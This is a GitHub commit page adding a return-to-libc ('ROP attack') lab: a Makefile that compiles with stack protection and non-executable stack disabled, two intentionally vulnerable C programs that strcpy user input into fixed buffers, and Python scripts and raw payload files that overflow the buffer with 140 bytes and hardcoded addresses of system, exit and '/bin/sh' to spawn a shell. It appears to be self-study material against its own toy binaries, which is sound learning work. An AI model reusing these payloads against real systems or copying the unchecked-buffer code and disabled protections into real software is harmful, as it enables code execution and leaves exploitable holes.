Added ROP attack

pmihsan · Mar 10, 2023 · 8c03e44 · 8c03e44
1 parent 31fede5
commit 8c03e44
Show file tree

Hide file tree

Showing 8 changed files with 61 additions and 0 deletions.
diff --git a/return-over-pointer/Makefile b/return-over-pointer/Makefile
@@ -0,0  1,11 @@
 rop:
 	gcc -ggdb -z execstack -fno-stack-protector -mpreferred-stack-boundary=3 -o rop rop.c
 
 rop32:
 	gcc -ggdb -m32 -z execstack -fno-stack-protector -mpreferred-stack-boundary=3 -o rop_32 rop.c
 
 vuln:
 	gcc -ggdb -z execstack -fno-stack-protector -mpreferred-stack-boundary=3 -o vuln vuln.c
 
 vuln32:
 	gcc -ggdb -m32 -z execstack -fno-stack-protector -mpreferred-stack-boundary=3 -o vuln_32 vuln.c
diff --git a/return-over-pointer/exploit/e1 b/return-over-pointer/exploit/e1
@@ -0,0  1 @@
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����@�������
diff --git a/return-over-pointer/exploit/exploit_32.py b/return-over-pointer/exploit/exploit_32.py
@@ -0,0  1,11 @@
 #! /usr/bin/python2
 import struct
 system=0xf7dcf7b0
 exit=0xf7dbec40
 sh=0xf7f38faa
 payload=""
 payload ="A"*140
 payload =struct.pack("<I",system)
 payload =struct.pack("<I",exit)
 payload =struct.pack("<I",sh)
 print(payload)
diff --git a/return-over-pointer/payload/p1 b/return-over-pointer/payload/p1
@@ -0,0  1 @@
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA°÷Ü÷@ìÛ÷ªó÷
diff --git a/return-over-pointer/payload/shell_payload_32.py b/return-over-pointer/payload/shell_payload_32.py
@@ -0,0  1,3 @@
 #! /usr/bin/python3
 y = "A" * 140   "\xb0\xf7\xdc\xf7"   "\x40\xec\xdb\xf7"   "\xaa\x8f\xf3\xf7"
 print(y)
diff --git a/return-over-pointer/rop.c b/return-over-pointer/rop.c
@@ -0,0  1,17 @@
 #include<stdio.h>
 #include<stdlib.h>
 #include<string.h>
 
 void rop(char *s){
 	char buffer[128];
 	strcpy(buffer, s);
 }
 
 int main(int argc, char **argv){
 	if(argc == 1){
 		printf("No Arguments found\n");
 		exit(0);
 	}
 	rop(argv[1]);
 	printf("Arguments: %s\nEXIT\n",argv[1]);
 }
diff --git a/return-over-pointer/rop_32 b/return-over-pointer/rop_32
diff --git a/return-over-pointer/vuln.c b/return-over-pointer/vuln.c
@@ -0,0  1,17 @@
 #include<stdio.h>
 #include<stdlib.h>
 #include<string.h>
 
 void rop(char *s){
 	char buffer[8];
 	strcpy(buffer, s);
 }
 
 int main(int argc, char **argv){
 	if(argc == 1){
 		printf("No Arguments found\n");
 		exit(0);
 	}
 	rop(argv[1]);
 	printf("Arguments: %s\nEXIT\n",argv[1]);
 }
Original file line number	Diff line number	Diff line change
		@@ -0,0 1 @@
		AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��@��